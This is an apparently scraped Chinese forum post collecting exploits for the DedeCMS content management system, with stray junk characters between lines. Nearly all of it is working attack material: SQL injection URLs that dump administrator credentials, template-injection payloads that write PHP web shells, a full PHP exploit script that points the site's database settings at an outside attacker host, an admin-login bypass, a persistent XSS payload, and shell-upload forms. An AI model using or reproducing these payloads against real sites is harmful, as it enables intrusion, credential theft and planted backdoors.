dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
9 j6 g; i6 [( k6 |8 m( X  bhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
6 i0 \# K% ~% m0 _0 S5 k% u* S
. G- w1 d, ^' A2 l- R





7 g4 Z) F5 a8 }& V
  Q- L; M: Z% v; V0 O7 E% _, ]5 yDedeCms v5.6 嵌入恶意代码执行漏洞
% x2 C# P" V# R注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
) c9 y/ Q" ?8 [( u1 ?1 D生成x.php 密码xiao，直接生成一句话。
' w5 _$ C$ @! Y" g

8 S8 w  ^: ^! v
0 D2 t0 @* X8 n4 p0 A( @. c




7 }; S1 s) Y' {0 GDede 5.6 GBK SQL注入漏洞
  Y; X+ @5 R' _: _" fhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
/ O4 o0 y7 t4 y# r" K# [+ y
; j$ C' g+ B6 I) C

. {2 \* x1 v5 A( t
0 c5 q% C; j9 @* k$ E



DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
  f+ w$ r4 t) X) J+ l6 n6 Q6 dhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


9 l4 b9 x5 ~' \0 R* ~


3 U: B9 ]" u" V0 R
DEDECMS 全版本 gotopage变量XSS漏洞
  K. Q: U* K+ q# P: S/ S1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
( d0 p$ O! x! c4 G6 N6 dhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
# x& Z8 j3 L* N8 ]http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
8 M& E7 s' k. J3 _

9 K+ D8 M7 v% W: a8 l6 y0 L( Lhttp://v57.demo.dedecms.com/dede/login.php
# b3 O  `7 q/ x) T& l) a- F

+ U) @9 Y" T- icolor=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
. r0 \+ ?; z) e2 n* y3 C<?php
error_reporting(E_ERROR);
) `5 p+ ^1 o+ c; w" I* _set_time_limit(0);
/ k' A* F1 F( ^' }4 |2 gprint_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
% Q, J' u7 K: ~echo "\r\n";
if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
# k7 G$ `9 V" K; o. X+ P* Q  cUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
3 y2 c& K. p+ x' i+ u. G6 PExample:
php '.$argv[0].' www.site.com 1 old
! |0 j: O7 x+ @$ e% q1 g+---------------------------------------------------------------------------+
');
exit;
# p7 n, q" E3 c2 g}
$url=$argv[1];
2 z6 |, g- N3 S' O( @$aid=$argv[2];
3 l; U8 E+ u: t2 }$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
. m1 b1 z7 G+ x* R0 p( @if($aid==1)echo "
: Y- A( b/ G0 B5 H. ^2 bShell:".$url."/$path/data/cache/fuck.php\n" ;

5 e# N3 E# k7 M+ i$ W0 _) ?( j
9 m( u; O7 c$ C! u1 T% uif($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;


$ p, K8 w* G& L; l% lif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


}else{
) P2 D# V- O2 ?( m% i' ~; ~echo "
8 i: s& R! w, M: JExploit Failed \n";
2 q0 s% P; \1 N* {5 K* Y}
function Getshell($url,$aid,$path){
# _' e6 z3 p4 y# J. G  Z$id=$aid;
; i/ U0 z/ N$ ~3 l: ?$ e$host=$url;
$ `$ ]# Q# U4 ]  D) K$port="80";
; ?9 `: ]; M- |4 T" i6 d9 i$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
5 N  v' d5 x6 f) C2 M$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
2 y: B) Y% J2 A$ X1 @5 f$data .= "Host: ".$host."\r\n";
( p  K0 H( ?4 x% I1 ~$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. q" m- A% m/ m% @7 k4 }$ {$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
7 C3 N& v# h# p$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
) a) x. p: e" x1 G- v$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
0 _+ t6 p0 N/ i' g4 q9 I, e$data .= $content."\r\n";
$ock=fsockopen($host,$port);
" n) z7 y! v9 i. p& J5 [# yif (!$ock) {
# Z8 n, [% V* z- O" r' ~echo "
No response from ".$host."\n";
' O  i* G% C, r+ b; B}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
( S. ^! S. \. Wreturn $exp;
- U" N- _/ ]1 G! O! |}
3 x9 d3 F+ t* E$ e! i7 \' Y8 ~: b}
7 W9 t5 Z$ q1 g; `7 }

?>
* r+ }- a4 U. y5 g

2 d* x# [3 o# u



  I) ~: ?: `) C& Y2 L


& e2 d, w8 M$ L$ Z; i6 F* A
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
+ D7 j( N( R6 i1 G5 a  bhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
2 x" G* f2 R( o7 r' `  J( l( X1 N
; Q% h8 b! ?7 b& ^4 G6 W
把上面validate=dcug改为当前的验证码，即可直接进入网站后台

4 D2 K" d7 x6 c* z- p
& G+ l7 f7 g( m4 a- d4 ]0 _此漏洞的前提是必须得到后台路径才能实现

8 j4 ]' m) y1 h3 ^( |6 T5 Z' ^) X
  p( H; t5 ?+ o: J
3 v! B$ Z0 U2 M! g: S
& Z" ]( {0 S3 h4 b
! [' i2 V9 Q+ |% z


  w" C4 \4 ]  a, |& e1 \# l

2 v( O: a! B* z! ADedecms织梦 标签远程文件写入漏洞
" V9 O) P5 p: s) s7 J1 A2 M+ \前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

5 h  v4 K+ \* q" Z; b4 U9 I7 V* }
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
9 s1 I2 m% N, p: I/ }0 v, f5 z; Y<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
' x/ k2 C/ _( {% l' K0 V$ O<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
- [5 Y, R: G& J% j& I<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
% T) q1 T" ]8 u0 K# M5 B/ x2 H<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
4 ]' m" h5 [6 s; S* ^; u1 H<script>
4 r" j3 y/ s: S* `& jfunction addaction()
. J: Q2 j; n* A/ [! D7 Q- s{
document.QuickSearch.action=document.QuickSearch.doaction.value;
9 D) I- P5 \0 i0 E! T6 s' x}
& V! c7 [/ I" k( U5 m</script>
" w7 P, @/ p  G0 ~) X% l/ I

9 v/ ~8 M; I7 h# N4 q; w
- P7 e9 \6 N' P# O


$ G& F$ i0 n$ l/ Q' e8 D
5 \5 t/ i1 v/ z# L2 h  c

/ o' {8 j/ K5 ]
5 b9 w8 s1 E' q( Z3 VDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
, P6 D* J7 b" D) \) z4 J生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
, p: q( d  T. Q注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
( U% I/ z. [8 w1 m7 v* Xuploads/userup/2/12OMX04-15A.jpg
' R  ^$ e; [6 N+ t( F5 J

2 J5 D5 m) d( P( S+ K! U) b9 v7 u模板内容是（如果限制图片格式，加gif89a）：
: x7 |1 z( y6 `0 t- A5 f{dede:name runphp='yes'}
# O7 b) G4 V/ t, x8 h( Q$fp = @fopen("1.php", 'a');
$ b: r+ W4 _" R" y, c- h: l@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
' a' [$ P  x* d5 J. o/ g: s+ W{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
+ @2 C: l$ ~  \& H  t: u( [<input type="hidden" name="dopost" value="save" />
  L# I% V5 `/ P: h  l<input type="hidden" name="aid" value="2" />
- ?) z" O$ v7 g6 m/ @<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
3 g( I+ P* S- z- A) B& r<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

  Y, g  n, M$ S' R$ \$ y+ W- k
<div id="mainCp">
- u$ ?' D' W/ y4 R% n<h3 class="meTitle"><strong>修改文章</strong></h3>

; Y* ~% m6 |1 P" j6 T4 e
! w3 `+ p- m4 H7 N& R<div class="postForm">
; A) p1 v* w$ U1 i& k. v<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

1 ^) M: K; b4 t7 f1 D5 n
<label>标签TAG：</label>
8 @' R" {+ w& S3 Y<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
5 c2 {6 \. m; @* r3 `
4 Y; E+ T4 ^) B
- N8 T' Z& m- E3 \: f) M<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
" ]& y; ^( ]* D" P- @<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
7 O/ P, I; W' V

/ E. T# }) v; C- a7 P$ ~<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
7 G$ @' Z/ q7 F) Q- {' G/ s2 v<option value='1' class='option3' selected>hahahha</option>
</select>


  b$ y* G9 d7 d; Z- ]7 _<label>信息摘要：</label>
# _+ T: ~) T0 [2 K+ t  `7 s- b- h<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

& Y1 C" `8 ?( C( N, U  ^
- u3 y2 a( ~) L7 {8 u0 ~<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
" _' o8 i+ e0 E) l3 F
$ s+ g# U8 G4 d6 E. C
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
, h! V- \9 W( y4 k* D9 _
* ~$ I7 j' s/ K  n1 \
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

6 G! |, q9 l8 P3 j/ B" [5 g5 v! ~$ |
<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
& N" e0 _$ a- v& j<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
- e, ~' `2 v! W6 I1 h
  b" y, t) g- Q8 c4 s& B
, {% w$ R/ [3 D<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>

, S$ ^4 d: v/ t6 L9 m. a
</div>
2 }9 q) L3 X4 V$ m) J

& R7 U' l( d' Q5 K5 F1 A4 v</form>
! A# K# k$ \3 _+ V# Z) o
) N- J1 K5 A  n, v2 f& `
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php

4 ?5 n8 z# F6 @
6 K3 r( g: Z3 t7 ~* z  e

- x  e$ K& R3 u
* b& @9 r: ]  f+ Q
9 N8 R: D. _' G# t& G1 c2 [- X





DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
7 j; x' w4 }6 o, i3 Rphpinfo();
( w* k4 ~* i7 s% h: H  M& u  U{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
1 |4 B4 K# O* S" w<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
) E/ y: J4 I0 H- ]* k* y( h<input type="hidden" name="dopost" value="save" />
. M2 ]$ u0 B& F2 `# i, |( \<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
6 b$ S1 @7 z6 |( p/ {</form>

, t& a# }( v* }" G3 {' j3 p5 U( H
- ~. X0 r9 t7 j6 f  k4 ?  l$ v构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
* E1 o1 u& T% @" l8 u发表文章，然后构造修改表单如下：

% I) A2 R4 z; C  Y4 v* {2 N0 C, U  @" z
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
6 ^9 V6 T3 s7 _) B2 \4 `<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
5 X: L) i7 E- n4 Y  N/ L/ N<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
: j' q4 l6 `$ d& {" \" y2 V7 f<input type="hidden" name="channelid" value="1" />
# {5 L; F, d5 l/ V% T& R( M<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
( _4 Q) L4 F/ h% E/ g<select name='typeid' size='1'>
7 s) A* S+ s! |3 b/ u<option value='1' class='option3' selected=''>Test</option>
$ h* V: G4 @! T5 h<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
; C7 u9 o! ?+ F7 M5 k<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
/ T9 H; g5 \/ C8 v- b% |<button class="button2" type="submit">提交</button>
8 Y6 R& x9 c1 a& ~</form>
, ^6 K7 g1 p- e4 S
) I( b2 [* a+ n  q2 x6 A6 `


4 r  t: K! n3 x/ I7 T$ f4 q8 I
5 x6 b& K  X2 ^8 k, x0 N: C

; Q! g1 j) O3 i, C! I' c$ r

7 ^" U) G- f( S+ @. V' r0 p

( ~' N0 w, N3 I: [
% }6 B7 i2 C- `5 e织梦(Dedecms)V5.6 远程文件删除漏洞
1 K* M7 D/ |2 G& i& I) O: C5 Rhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif



/ M, \) c6 a6 s' ~( q




. g3 K5 S5 }2 ^  ~. N# j$ F0 H
; y" N$ {8 o- Q1 M- K. H
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
* j1 P: ]; y  [% Z* \' v# r

5 U, O: `2 ^) K9 g


* u0 ^" A" X  n! A6 l



. b  \0 ^0 t3 w
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
, P6 x+ o6 ?$ ?. J  L8 w
2 J; C( c1 g% Q5 R6 D# @


( _8 f9 G0 n2 e6 F  w  F) v* F" l

* }) x' W1 x4 g
* S1 r7 G; g) }( ^% {8 P  |4 c
/ O% N+ B1 i/ {" d5 s% M
2 m6 B. s) Z5 [- F  C
8 m" H( f. v9 S" a$ j% @织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
* F: Y3 E" P0 W0 D# Z

$ c3 a) M/ y: G) k6 Z4 W9 f
1 W5 \/ M! B8 W, e) F9 g( w

  N, p: s4 P. p/ K; |& g' }


' s- h& @% y+ X  {) f4 `3 Z3 c

织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
( z0 \0 y" r( f/ ^7 v2 [<head>
) l1 a; @0 {( b# U+ \/ Z! ~5 C<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
! O( J4 h3 R* L& a<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
* y. M% D/ l* S' E# ]) N% F% {- p<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
2 A: W) j) H+ {' k. X2 K2 J<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
  `2 y+ k9 `% `: Y<input type='hidden' name='newname' value='fly.php' />
# k5 L+ X7 z" r4 SSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
8 t5 w' `9 O4 T# ]</form>
2 ?$ J* G3 b' P+ h% M6 u<br />It's just a exp for the bug of Dedecms V55...<br />
* ]# q7 c2 h/ HNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
/ L! M9 H, \& A: w6 x' ^2 Y' h</body>
</html>
- W6 C9 B1 V7 C" V5 ~) G. W
5 e2 k' ^% Q2 J, Q. _4 [: `- z3 G
  ~8 k2 W; W! b7 ]8 _" Q3 f; ?8 k; c

/ O: }( n* D! M3 F
. H1 h- `- x5 ?( c6 z
7 D! }6 m: {; F) C  f7 a9 I
% B8 N( Z; ~. b* H9 l
) _: R+ i1 s8 b" l* m2 O* p
" G' E7 X4 ^- u0 [1 \# m
* F; s7 f5 E3 H, Z, y) L7 |7 ^+ p织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
; N/ ]/ O2 o& Q9 T, e9 B; |1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
8 A4 P" i' Q, t可看见错误信息
1 y2 }' L6 ?2 j5 A, Y( O$ F; f
4 c  j8 t! }4 f0 P7 O/ Y. h3 x
& N! e# U* S  j6 q! F& `- f; c& W2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
# X" O- r. @5 w& q. ~8 Kint(3) Error: Illegal double '1024e1024' value found during parsing
" H3 G/ Q5 x% E7 OError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
" O) t0 {  y; K  _
* y5 ?4 r  Z. K8 |7 C$ o7 B" T( o2 T
3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

% Z2 H5 t( W+ Q# P5 Z% H# G
+ L+ h" q, z) S) T<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

1 N' i1 K9 z' i) o3 j9 t+ O
按确定后的看到第2步骤的信息表示文件木马上传成功.


6 `9 ^* M9 I  D: g2 n

* w7 m/ N" f5 n" t' B! O
' S# I$ [7 @0 N- r3 \1 V
5 f$ g7 ~7 k' w3 k
! A: _  r4 S% `% c! w

% U2 ?" ?0 a$ n+ }4 g$ P


2 o2 B- E" Q  b! v) s# A" Z" {织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*